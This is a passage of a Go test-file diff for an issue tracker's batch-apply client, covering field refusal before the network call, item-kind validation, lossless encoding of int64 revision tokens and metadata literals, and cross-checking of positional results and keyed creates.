t.Errorf("Issue.%s claims wire member %q, which ApplyCreateItem does not publish", field, wireMember) + } + } + }) + + refused := createWireRefusedIssueMembers(t) + t.Run("every wire-refused issue member fails without dialing", func(t *testing.T) { + if len(refused) == 0 { + t.Fatal("no member is wire-refused; the shared partition tables have swallowed this population") + } + for _, name := range refused { + t.Run(name, func(t *testing.T) { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + req := applyOneCreate() + req.Items[0].Create.Issue = issue + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + assertRefusedBy(t, err, "W-CreateItem.Issue") + if !strings.Contains(err.Error(), name) { + t.Errorf("the refusal does not name the member: %v", err) + } + if !strings.Contains(err.Error(), "items[0]") { + t.Errorf("the refusal does not name the item: %v", err) + } + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("a CreatedBy naming the actor rides the server's stamp", func(t *testing.T) { + // The server stamps every create item's created_by from the actor, so + // that one value is carried by the stamp; the sweep above refuses any + // other. + w := &stubWire{} + req := applyOneCreate() + req.Items[0].Create.Issue.CreatedBy = req.Actor + if _, err := applyRole(t, w).ApplyBatch(t.Context(), req); err != nil { + t.Fatalf("ApplyBatch with CreatedBy == Actor = %v, want it carried by the server's stamp", err) + } + if w.lastApply.Actor != req.Actor { + t.Errorf("sent actor = %q, want the creator the stamp will write", w.lastApply.Actor) + } + }) + + t.Run("the role's own two are ErrValidation, and here they have nowhere to go at all", func(t *testing.T) { + for name := range createRoleRefusedIssueMembers { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + req := applyOneCreate() + req.Items[0].Create.Issue = issue + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Issue.%s error = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("Issue.%s reached the wire: %v", name, w.calls) + } + } + }) + + t.Run("the patch's own excluded member refuses, and the four shared ones cite their existing rows", func(t *testing.T) { + for _, test := range []struct { + member string + row string + patch issueops.IssuePatch + }{ + {"ParentID", "W-ApplyPatch.ParentID", issueops.IssuePatch{ + ParentID: issueops.Field[string]{Set: true, Value: "bd-parent"}, + }}, + {"SpecID", "W-IssuePatch.SpecID", issueops.IssuePatch{ + SpecID: issueops.Field[string]{Set: true, Value: "spec-1"}, + }}, + {"AwaitID", "W-IssuePatch.AwaitID", issueops.IssuePatch{ + AwaitID: issueops.Field[string]{Set: true, Value: "await-1"}, + }}, + {"ClosedBySession", "W-IssuePatch.ClosedBySession", issueops.IssuePatch{ + ClosedBySession: issueops.Field[string]{Set: true, Value: "sess-1"}, + }}, + {"Persistence", "W-IssuePatch.Persistence", issueops.IssuePatch{ + Persistence: issueops.Field[issueops.PersistenceMode]{Set: true, Value: types.PersistenceModeEphemeral}, + }}, + } { + t.Run(test.member, func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{Target: issueops.Ref{ID: "bd-1"}, Patch: test.patch}, + }}, + }) + assertRefusedBy(t, err, test.row) + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("the edge item's two unpublished members refuse", func(t *testing.T) { + for _, test := range []struct { + member string + row string + set func(*issueops.DepAddItem) + }{ + {"HasSpawner", "W-DepAddItem.HasSpawner", func(item *issueops.DepAddItem) { item.HasSpawner = true }}, + {"ThreadID", "W-DepAddItem.ThreadID", func(item *issueops.DepAddItem) { item.ThreadID = "th-1" }}, + } { + t.Run(test.member, func(t *testing.T) { + item := &issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: issueops.DepWaitsFor, + } + test.set(item) + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: item}}, + }) + assertRefusedBy(t, err, test.row) + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("a spawner flag on any other edge type is the role's no-op, and is not refused", func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: issueops.DepBlocks, HasSpawner: true, + }}}, + }) + if err != nil { + t.Fatalf("a spawner flag on a blocks edge refused: %v", err) + } + if got := w.lastApply.Items[0].DepAdd; got == nil || got.Type != string(issueops.DepBlocks) { + t.Errorf("the encoded edge = %+v, want the caller's blocks edge", got) + } + }) + + t.Run("owner is CARRIED here, which is where the two patch documents part company", func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Owner: issueops.Field[string]{Set: true, Value: "ada"}}, + }, + }}, + }) + if err != nil { + t.Fatalf("an owner edit inside a plan refused: %v", err) + } + if got := w.lastApply.Items[0].Update.Patch["owner"]; got != "ada" { + t.Errorf("the encoded patch carries owner = %v, want the caller's value", got) + } + }) +} + +// TestApplyBatchFailsClosedOnAnItemTheClientCannotSpell is the tagged union's +// whole risk, driven in all four directions. +// +// The document carries a required tag and four OPTIONAL payloads because it +// uses no composition keyword, so nothing in any generated type stops a +// disagreement. The dangerous one is the unknown KIND: a fifth verb added to +// issueops would arrive here as a value the client's table does not carry, and +// a client that sent the item anyway would put a plan on the wire that did less +// than the caller composed. +func TestApplyBatchFailsClosedOnAnItemTheClientCannotSpell(t *testing.T) { + create := &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}} + update := &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + } + + for _, test := range []struct { + name string + item issueops.ApplyItem + says string + }{ + { + // The fail-closed arm, and the DIAGNOSIS is what it pins rather than + // the refusal. "reopen" is a verb the ROLE deliberately excludes + // today, so it stands in for the fifth kind nobody has invented yet + // — and an implementation that passed an unknown kind through to + // the tag/payload agreement check would still refuse this item, + // while telling the caller its PAYLOAD was wrong. That sends + // someone reading the message to fix a payload that is correct, + // so the refusal has to name the VOCABULARY. + name: "a kind this client does not know", + item: issueops.ApplyItem{Kind: issueops.ItemKind("reopen"), Create: create}, + says: `item kind "reopen" is not one of create, update, close, dep_add`, + }, + { + // The same kind carrying nothing, which under a pass-through would + // be reported as a missing `reopen` payload — a member the document + // does not publish at all. + name: "a kind this client does not know, carrying nothing", + item: issueops.ApplyItem{Kind: issueops.ItemKind("reopen")}, + says: `item kind "reopen" is not one of create, update, close, dep_add`, + }, + { + name: "a kind with no payload", + item: issueops.ApplyItem{Kind: issueops.ItemCreate}, + says: "no create payload", + }, + { + name: "a payload the kind does not name", + item: issueops.ApplyItem{Kind: issueops.ItemUpdate, Create: create}, + says: "must name the same verb", + }, + { + name: "two payloads", + item: issueops.ApplyItem{Kind: issueops.ItemCreate, Create: create, Update: update}, + says: "exactly one payload", + }, + { + // The empty kind is the zero value of the field, which is what an + // item built by a caller that forgot the tag looks like. + name: "the empty kind", + item: issueops.ApplyItem{Create: create}, + says: `item kind "" is not one of create, update, close, dep_add`, + }, + } { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", Items: []issueops.ApplyItem{test.item}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("error = %v, want ErrValidation", err) + } + if !strings.Contains(err.Error(), test.says) { + t.Errorf("the refusal does not say what was wrong (%q): %v", test.says, err) + } + if len(w.calls) != 0 { + t.Errorf("the item reached the wire: %v", w.calls) + } + }) + } +} + +// TestApplyBatchRefusesTheRequestShapesTheRoleCallsInvalid covers the bounds and +// the ref rule, all of them raised before the dial. +func TestApplyBatchRefusesTheRequestShapesTheRoleCallsInvalid(t *testing.T) { + oversized := issueops.ApplyBatchRequest{Actor: "planner"} + for range issueops.MaxApplyBatchItems + 1 { + oversized.Items = append(oversized.Items, issueops.ApplyItem{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}, + }) + } + refTarget := func(ref issueops.Ref) issueops.ApplyBatchRequest { + return issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: ref, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + }, + }}, + } + } + + for _, test := range []struct { + name string + req issueops.ApplyBatchRequest + }{ + {"no actor", issueops.ApplyBatchRequest{Items: applyOneCreate().Items}}, + {"no items", issueops.ApplyBatchRequest{Actor: "planner"}}, + {"one item past the cap", oversized}, + {"a ref naming neither member", refTarget(issueops.Ref{})}, + {"a ref naming both members", refTarget(issueops.Ref{Key: "k", ID: "bd-1"})}, + {"an update that writes nothing", issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{Target: issueops.Ref{ID: "bd-1"}}, + }}, + }}, + {"an edge with no type", issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}}, + }}, + }}, + {"a metadata blob that is not JSON", issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: &issueops.Issue{ + Title: "t", Metadata: json.RawMessage(`{"broken":`), + }}, + }}, + }}, + } { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), test.req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("error = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the request reached the wire: %v", w.calls) + } + }) + } + + // The cap refuses rather than SPLITTING, which is the half a refusal test + // alone would not say: a split plan is several transactions where the + // caller asked for one, and the end gate only ever sees one request. + w := &stubWire{} + _, _ = applyRole(t, w).ApplyBatch(t.Context(), oversized) + if len(w.calls) != 0 { + t.Errorf("the oversized plan was chunked onto the wire: %v", w.calls) + } +} + +// TestApplyBatchSendsTheGuardsAndTheLiteralsIntact is the encoding round trip. +// +// TWO CORRUPTIONS ARE THE POINT and neither is visible in a result. The row +// version is int64 END TO END: live tokens run past 5e17, where an IEEE-754 +// double's ulp is already 64, so a float anywhere on this path hands the server +// a number NEAR the token that is not it — and the answer would be a +// precondition failure a caller cannot explain. And a metadata value travels as +// the caller's SOURCE LITERAL: the role compares metadata by literal, so 1 and +// 1.0 are not equal and 9007199254740993 is not 9007199254740992 — a float +// round trip changes the VERDICT of a later compare-and-set rather than a +// spelling. +func TestApplyBatchSendsTheGuardsAndTheLiteralsIntact(t *testing.T) { + const token = int64(576460752303423489) // 2^59 + 1: a float64 cannot hold it + const bigInt = `9007199254740993` // 2^53 + 1 + version := token + status := issueops.Status("in_progress") + assignee := "" + + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Provenance: "wave 1c", + ForceIDPrefix: true, + SkipPerEdgeCycleCheck: true, + Items: []issueops.ApplyItem{ + { + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{ + Key: "root", + Issue: &issueops.Issue{ + Title: "t", + Metadata: json.RawMessage(`{"exact":` + bigInt + `,"one":1.0}`), + }, + MetadataRefs: map[string]issueops.Ref{"spawned": {Key: "child"}}, + }, + }, + { + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: "root"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + ExpectedVersion: &version, + ExpectedStatus: &status, + ExpectedAssignee: &assignee, + }, + }, + { + Kind: issueops.ItemClose, + Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-1"}, ExpectedVersion: &version}, + }, + { + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "root"}, + Target: issueops.Ref{ID: "bd-1"}, + Type: "waits-for", + Metadata: `{"gate":"any-children","seq":` + bigInt + `}`, + }, + }, + }, + }) + if err != nil { + t.Fatalf("ApplyBatch: %v", err) + } + + body := w.lastApply + if body.Actor != "planner" { + t.Errorf("actor = %q", body.Actor) + } + for member, got := range map[string]*bool{ + "force_id_prefix": body.ForceIDPrefix, "skip_per_edge_cycle_check": body.SkipPerEdgeCycleCheck, + } { + if got == nil || !*got { + t.Errorf("%s = %v, want true", member, got) + } + } + if body.Provenance == nil || *body.Provenance != "wave 1c" { + t.Errorf("provenance = %v, want the caller's label", body.Provenance) + } + if len(body.Items) != 4 { + t.Fatalf("the body carries %d items, want 4", len(body.Items)) + } + + // The guards, on both members that publish one. + // The version guards reach the wire as the token's decimal STRING + // (types.RevisionToken): a JSON number on this member is a 400, and a + // float64 anywhere on the path would answer a number NEAR the token. + update := body.Items[1].Update + if update.ExpectedVersion == nil || *update.ExpectedVersion != types.RevisionToken(token) { + t.Errorf("update expected_version = %v, want %q", update.ExpectedVersion, types.RevisionToken(token)) + } + if update.ExpectedStatus == nil || *update.ExpectedStatus != "in_progress" { + t.Errorf("update expected_status = %v", update.ExpectedStatus) + } + // The EMPTY assignee guard is "only if nobody holds it" and is a request, + // not an absence. + if update.ExpectedAssignee == nil { + t.Error("update expected_assignee is absent; the empty string is a real guard") + } else if *update.ExpectedAssignee != "" { + t.Errorf("update expected_assignee = %q, want the empty guard", *update.ExpectedAssignee) + } + if got := body.Items[2].Close.ExpectedVersion; got == nil || *got != types.RevisionToken(token) { + t.Errorf("close expected_version = %v, want %q", got, types.RevisionToken(token)) + } + + // The literals, on both paths that carry a blob. + for name, raw := range map[string]json.RawMessage{ + "create.metadata": json.RawMessage(body.Items[0].Create.Metadata), + "dep_add.metadata": json.RawMessage(body.Items[3].DepAdd.Metadata), + } { + if !strings.Contains(string(raw), bigInt) { + t.Errorf("%s = %s; the source literal %s did not survive — a float64 round trip answers %s", + name, raw, bigInt, "9007199254740992") + } + } + if got := string(body.Items[0].Create.Metadata); !strings.Contains(got, "1.0") { + t.Errorf("create.metadata = %s; the literal 1.0 became 1, which the role compares as a different value", got) + } + + // The refs, exactly one member each, and the forward metadata ref carried. + if got := body.Items[1].Update.Target; got.Key == nil || *got.Key != "root" || got.Id != nil { + t.Errorf("update target = %+v, want a key ref naming root and no id", got) + } + refs := body.Items[0].Create.MetadataRefs + if refs == nil { + t.Fatal("the create item dropped its metadata_refs") + } + if got := (*refs)["spawned"]; got.Key == nil || *got.Key != "child" { + t.Errorf("metadata_refs[spawned] = %+v, want a key ref naming child", got) + } +} + +// TestApplyBatchAbsentGuardsStayAbsent is the other polarity, and it is the one +// a sentinel would break: 0 is a LEGAL row version — the migration-0054 +// backfill wrote it — so encoding "no guard" as 0 would arm a guard on every +// unguarded item, and encoding it as -1 would arm one that can never match. +func TestApplyBatchAbsentGuardsStayAbsent(t *testing.T) { + zero := int64(0) + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + { + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + }, + }, + { + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-2"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "y"}}, + ExpectedVersion: &zero, + }, + }, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-3"}}}, + }, + }) + if err != nil { + t.Fatalf("ApplyBatch: %v", err) + } + + unguarded := w.lastApply.Items[0].Update + if unguarded.ExpectedVersion != nil { + t.Errorf("an unguarded update sent expected_version = %q; absent is not zero", *unguarded.ExpectedVersion) + } + for member, got := range map[string]*string{ + "expected_status": unguarded.ExpectedStatus, "expected_assignee": unguarded.ExpectedAssignee, + } { + if got != nil { + t.Errorf("an unguarded update sent %s = %q", member, *got) + } + } + if got := w.lastApply.Items[1].Update.ExpectedVersion; got == nil || *got != "0" { + t.Errorf("a guard ON ZERO came out as %v; 0 is a token a row really holds and it is spelled \"0\"", got) + } + if got := w.lastApply.Items[2].Close.ExpectedVersion; got != nil { + t.Errorf("an unguarded close sent expected_version = %q", *got) + } + // The two force flags, absent rather than explicitly false. + if w.lastApply.Items[0].Update.ForceClosePolicy != nil || w.lastApply.Items[0].Update.ForceAssigneeTransfer != nil { + t.Error("an update that asked for no bypass sent one explicitly false") + } + if w.lastApply.ForceIDPrefix != nil || w.lastApply.SkipPerEdgeCycleCheck != nil || w.lastApply.Provenance != nil { + t.Error("a request that asked for none of the three optional members sent one anyway") + } +} + +// TestApplyBatchRefusesAMisattributedResult is the positional-array guard, and +// it is the one failure on this operation that no assertion about a ROW would +// catch: both rows exist and both were written, so a result read at the wrong +// index reports one item's `changed` and `revision` as another's, and every +// row-level check still passes. +func TestApplyBatchRefusesAMisattributedResult(t *testing.T) { + req := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-1"}}}, + }, + } + + for _, test := range []struct { + name string + items []apigen.ApplyItemResult + says string + }{ + { + name: "one result short", + items: []apigen.ApplyItemResult{{Kind: "create", IssueId: "bd-9"}}, + says: "1 batch-apply results for 2 items", + }, + { + name: "one result too many", + items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-9"}, {Kind: "close", IssueId: "bd-1"}, {Kind: "close", IssueId: "bd-2"}, + }, + says: "3 batch-apply results for 2 items", + }, + { + name: "the kinds transposed", + items: []apigen.ApplyItemResult{ + {Kind: "close", IssueId: "bd-1"}, {Kind: "create", IssueId: "bd-9"}, + }, + says: "the results are positional", + }, + } { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{Keys: map[string]string{}, Items: test.items}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + if err == nil { + t.Fatal("a misattributed result was accepted") + } + if !strings.Contains(err.Error(), test.says) { + t.Errorf("error = %v, want it to say %q", err, test.says) + } + }) + } +} + +// TestApplyBatchCrossChecksKeyedCreatesAgainstTheKeyMap closes the half the kind +// check above cannot see. +// +// A SAME-KIND SWAP IS INVISIBLE TO A KIND COMPARISON: two create items +// transposed still answer "create" at both indexes, so the length agrees, the +// kinds agree, and one row's id, `changed` and `revision` are read as the +// other's. The response carries the bytes that catch it — `keys` maps each +// NAMED create to the id it was bound to, independently of the array's order — +// so a keyed create's result must agree with its own key, and a key the request +// declared that the answer does not carry is a result that cannot be checked at +// all rather than one to pass along. +// +// THE RESIDUAL IS STATED RATHER THAN HIDDEN: an UNKEYED same-kind swap stays +// unverifiable from here. Nothing in the response distinguishes two unnamed +// creates, and nothing in the request could — that is what naming them is for. +// It sits in the same trust class as a server that answered the wrong row +// entirely, and the served assembly is provably in item order. +func TestApplyBatchCrossChecksKeyedCreatesAgainstTheKeyMap(t *testing.T) { + keyed := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "a", Issue: &issueops.Issue{Title: "a"}}}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "b", Issue: &issueops.Issue{Title: "b"}}}, + }, + } + + t.Run("two keyed creates with transposed results", func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"a": "bd-1", "b": "bd-2"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-2", Changed: true, Revision: "7"}, + {Kind: "create", IssueId: "bd-1", Changed: true, Revision: "9"}, + }, + }} + _, err := applyRole(t, w).ApplyBatch(t.Context(), keyed) + if err == nil { + t.Fatal("a same-kind transposition was accepted; the key map says which id each named create was bound to") + } + if !strings.Contains(err.Error(), `key "a"`) || !strings.Contains(err.Error(), "bd-1") { + t.Errorf("error = %v, want it to name the key and the id it was bound to", err) + } + }) + + t.Run("a key the request declared and the answer does not carry", func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"a": "bd-1"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-1", Changed: true, Revision: "0"}, + {Kind: "create", IssueId: "bd-2", Changed: true, Revision: "0"}, + }, + }} + _, err := applyRole(t, w).ApplyBatch(t.Context(), keyed) + if err == nil { + t.Fatal("a missing key was passed along; the binding is the one fact the request cannot carry") + } + // The DIAGNOSIS, not just the refusal — M8's lesson applied here. A + // decode that ignored the map's presence bit reads the missing key as + // the empty id and refuses as a DISAGREEMENT, which names the same key + // while telling the caller the server answered the wrong row. It did + // not: it answered with no binding at all. + if !strings.Contains(err.Error(), `bound no id to key "b"`) { + t.Errorf("error = %v, want it to say the key was left UNBOUND rather than bound to something else", err) + } + }) + + t.Run("the agreeing answer passes, and an UNKEYED create is not checked", func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"a": "bd-1", "b": "bd-2"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-1", Changed: true, Revision: "0"}, + {Kind: "create", IssueId: "bd-2", Changed: true, Revision: "0"}, + }, + }} + if _, err := applyRole(t, w).ApplyBatch(t.Context(), keyed); err != nil { + t.Fatalf("an agreeing answer was refused: %v", err) + } + + // The residual, asserted so it is a documented limit rather than an + // assumption: two UNNAMED creates carry nothing to cross-check, so a + // transposition between them passes. Naming them is what makes it + // checkable, which is the sentence the doc comment ends on. + unkeyed := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "a"}}}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "b"}}}, + }, + } + w = &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-2", Revision: "0"}, {Kind: "create", IssueId: "bd-1", Revision: "0"}, + }, + }} + if _, err := applyRole(t, w).ApplyBatch(t.Context(), unkeyed); err != nil { + t.Fatalf("an unkeyed pair was refused: %v — nothing in either side distinguishes them", err) + } + }) +} + +// TestApplyBatchReadsTheAnswerBackWhole is the result decode's positive half. +func TestApplyBatchReadsTheAnswerBackWhole(t *testing.T) { + const token = int64(576460752303423489) + dependsOn := "bd-2" + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"root": "bd-9"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-9", Changed: true, Revision: types.RevisionToken(token)}, + {Kind: "dep_add", IssueId: "bd-9", DependsOnId: &dependsOn, Changed: false, Revision: "0"}, + }, + }} + result, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "root", Issue: &issueops.Issue{Title: "t"}}}, + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "root"}, Target: issueops.Ref{ID: "bd-2"}, Type: "blocks", + }}, + }, + }) + if err != nil { + t.Fatalf("ApplyBatch: %v", err) + } + + if got := result.Keys["root"]; got != "bd-9" { + t.Errorf("Keys[root] = %q, want the minted id", got) + } + if len(result.Items) != 2 { + t.Fatalf("the result carries %d items, want 2", len(result.Items)) + } + if result.Items[0].RowVersion != token { + t.Errorf("RowVersion = %d, want %d — the wire's decimal token parsed back losslessly", + result.Items[0].RowVersion, token) + } + if !result.Items[0].Changed { + t.Error("the create's Changed was dropped") + } + if result.Items[1].DependsOnID != "bd-2" { + t.Errorf("the edge's DependsOnID = %q, want bd-2", result.Items[1].DependsOnID) + } + if result.Items[1].Changed { + t.Error("an idempotent re-add was reported as Changed") + } + // The snapshot stops at the wire — ledger row L-apply-snapshot — and the + // role's own leaf says why. It is asserted rather than assumed so a future + // wave that starts hydrating has to come here and say so. + for i, item := range result.Items { + if item.Issue != nil { + t.Errorf("items[%d] carries a snapshot; the wire result is lean (L-apply-snapshot)", i) + } + } +} + +// TestApplyBatchRebuildsTheItemAndRefRefusals is the refusal decode. +// +// The request is all or nothing, so `item_*` is the ONLY place the offender +// exists — and the two shapes are told apart by `declared_later`'s PRESENCE, +// which is why the server emits it in both polarities. +func TestApplyBatchRebuildsTheItemAndRefRefusals(t *testing.T) { + req := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-1"}}}, + }, + } + + t.Run("an item refusal names the item and keeps its sentinel", func(t *testing.T) { + index := 1 + kind, key, id := "close", "", "bd-1" + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 409, Code: "not_closable", Err: issueops.ErrCloseBlocked, + ItemIndex: &index, ItemKind: &kind, ItemKey: &key, ItemIssueID: &id, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var itemErr *issueops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("error = %v (%T), want an *ItemError naming the item that refused", err, err) + } + if itemErr.Index != 1 || itemErr.Kind != issueops.ItemClose || itemErr.IssueID != "bd-1" { + t.Errorf("ItemError = %#v, want Index 1, Kind close, IssueID bd-1", itemErr) + } + if !errors.Is(err, issueops.ErrCloseBlocked) { + t.Errorf("the sentinel did not survive the wrapper: %v", err) + } + }) + + t.Run("a ref refusal is a RefError in both polarities", func(t *testing.T) { + for _, test := range []struct { + later bool + param string + member string + }{ + {true, "items[1].close.target", "target"}, + {false, "items[1].dep_add.source", "source"}, + {false, "items[1].create.metadata_refs", "metadata_refs"}, + } { + index, key, later := 1, "child", test.later + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 400, Code: "invalid_argument", Param: test.param, Err: issueops.ErrValidation, + ItemIndex: &index, ItemKey: &key, DeclaredLater: &later, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var refErr *issueops.RefError + if !errors.As(err, &refErr) { + t.Fatalf("error = %v (%T), want a *RefError", err, err) + } + if refErr.DeclaredLater != test.later { + t.Errorf("RefError.DeclaredLater = %v, want %v: the two diagnoses are what a caller acts on", + refErr.DeclaredLater, test.later) + } + if refErr.Index != 1 || refErr.Key != "child" { + t.Errorf("RefError = %#v, want Index 1 and Key child", refErr) + } + if refErr.Member != test.member { + t.Errorf("RefError.Member = %q, want %q", refErr.Member, test.member) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("the RefError does not match ErrValidation: %v", err) + } + } + }) + + t.Run("a key refusal that names no item does not blame the first one", func(t *testing.T) { + // Unreachable against this server, and hardened anyway because + // RefError.Index has no absent state: answering 0 would name the FIRST + // item as the offender on a refusal that named none. + later := true + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 400, Code: "invalid_argument", Err: issueops.ErrValidation, DeclaredLater: &later, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var refErr *issueops.RefError + if errors.As(err, &refErr) { + t.Errorf("a key refusal naming no item was rebuilt as %#v; index 0 is the first item, not 'unknown'", refErr) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("error = %v, want the sentinel through", err) + } + }) + + t.Run("a refusal that names no item travels unwrapped", func(t *testing.T) { + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 400, Code: "invalid_argument", Param: "items", Err: issueops.ErrValidation, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var itemErr *issueops.ItemError + if errors.As(err, &itemErr) { + t.Errorf("a refusal naming no item was wrapped as %#v; index 0 would be a claim about an item "+ + "this refusal says nothing about", itemErr) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("error = %v, want the sentinel through", err) + } + }) +} + +// TestTheEncodedApplyPatchDocumentUsesOnlyPublishedMembers is +// TestTheEncodedPatchDocumentUsesOnlyPublishedMembers for the plan's own patch, +// and it is a separate gate because the two documents' allowlists differ in +// BOTH directions: this one publishes owner and not parent_id. +func TestTheEncodedApplyPatchDocumentUsesOnlyPublishedMembers(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.ApplyPatchBody{})) + + patch := 